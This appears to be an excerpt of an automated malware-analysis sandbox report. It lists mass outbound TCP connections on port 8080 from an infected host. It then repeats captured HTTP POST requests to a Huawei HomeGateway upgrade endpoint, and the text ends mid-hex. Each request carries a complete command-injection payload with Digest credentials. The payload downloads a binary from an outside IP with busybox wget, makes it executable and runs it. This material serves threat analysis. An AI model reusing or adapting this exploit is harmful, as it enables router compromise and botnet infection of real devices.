Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.30.32.112:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.162.240.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.168.24.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.138.40.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.11.230.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.36.12.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.39.205.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.49.28.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.249.31.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.129.220.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.32.216.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.48.3.248:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.160.75.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.48.62.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.44.226.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.232.0.192:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.196.6.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.41.82.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.223.193.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.12.96.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.167.110.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.147.29.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.83.31.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.28.216.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.205.60.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.139.245.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.9.112.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.9.206.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.151.220.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.38.37.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.185.199.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.47.57.127:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.232.217.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.138.134.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.232.175.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.190.104.103:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.189.203.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.165.187.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.63.105.126:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.190.95.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.161.167.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.140.127.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.141.182.136:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.80.57.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.4.135.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.66.186.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.248.114.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.129.59.5:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.220.153.1:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.245.36.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.155.131.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.171.114.6:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.15.36.84:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.188.23.6:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.218.110.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.134.96.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.235.85.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.18.47.23:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.26.223.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.103.252.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.16.124.136:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.70.56.216:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.146.81.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.53.113.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.205.226.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.39.247.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.20.194.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.139.198.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.60.149.239:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.146.249.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.143.22.225:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.95.156.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.36.221.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.75.26.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.143.53.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.227.36.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.128.197.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.100.70.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.141.209.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.253.49.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.213.87.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.215.188.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.83.138.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.174.81.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.223.204.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.139.78.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.175.16.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.149.184.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.153.151.195:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.158.96.242:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.153.175.69:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.202.213.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.67.66.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.145.15.244:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.136.253.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.215.104.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.133.255.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.143.242.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.31.41.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.114.188.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.232.21.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.140.232.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.239.13.248:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.243.76.136:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.7.39.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.56.28.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.37.35.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.131.179.126:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.62.188.54:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.94.186.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.221.54.5:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.169.21.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 62.160.112.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.49.128.18:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.45.127.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.83.57.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.197.155.37:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 31.65.129.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.60.14.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 94.19.33.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 85.253.24.204:8080
Source: global traffic	TCP traffic: 192.168.2.13:56351 -> 95.81.135.152:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 